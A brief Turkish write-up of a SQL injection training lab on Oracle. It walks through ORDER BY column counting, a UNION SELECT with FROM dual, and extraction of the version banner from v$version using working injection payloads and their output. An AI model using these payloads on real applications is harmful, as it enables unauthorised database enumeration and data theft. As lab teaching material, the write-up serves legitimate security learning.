Lab: SQL injection attack, querying the database type and version on Oracle
Lab: SQL injection attack, querying the database type and version on Oracle
Bu lab’de ürün filtreleme kısmında bir SQL injection açığı var. Ama olay sadece injection yapmak değil, Oracle tarafında doğru şekilde version bilgisini çekmek .
Kısa ama öğretici bir lab, o yüzden direkt nasıl ilerlediğimi anlatıyorum.
Parametre:
/filter?category=Gifts
Buraya klasik bir test attım:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--ORDER BY 3 patladı → buradan direkt anladım: 2 kolon var

Sonra UNION denedim:
Gifts' UNION SELECT 'abc','def' FROM dual--Oracle olduğu için FROM dual eklemek gerekiyor, yoksa çalışmıyor.
Sayfada abc def çıktısını görünce:
- injection tamam
- kolonlar ekrana basılıyor

Oracle’da version bilgisi v$version tablosunda, o yüzden şunu denedim:
Gifts' UNION SELECT BANNER,NULL FROM v$version--Çalıştı ama çıkan şey şuydu:
CORE 11.2.0.2.0 Production
İlk bakışta “yanlış mı yaptım?” gibi geliyor ama aslında değil.
v$version tek satır döndürmüyor. İçinde birden fazla kayıt var:
- Oracle Database …
- PL/SQL …
- CORE …
- TNS …
- NLSRTL …
Ama uygulama sadece tek satır gösteriyor .
Benim gördüğüm CORE satırıydı, ama lab’in istediği: Oracle Database ... ile başlayan satır
Burada yapmam gereken şey veriyi çekmek değil, doğru satırı filtrelemek .
Şu payload ile çözüldü:
Gifts' UNION SELECT BANNER,NULL FROM v$version WHERE BANNER LIKE 'Oracle%'--Bu sefer ekranda şu çıktı geldi:

Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Productionve lab çözüldü.







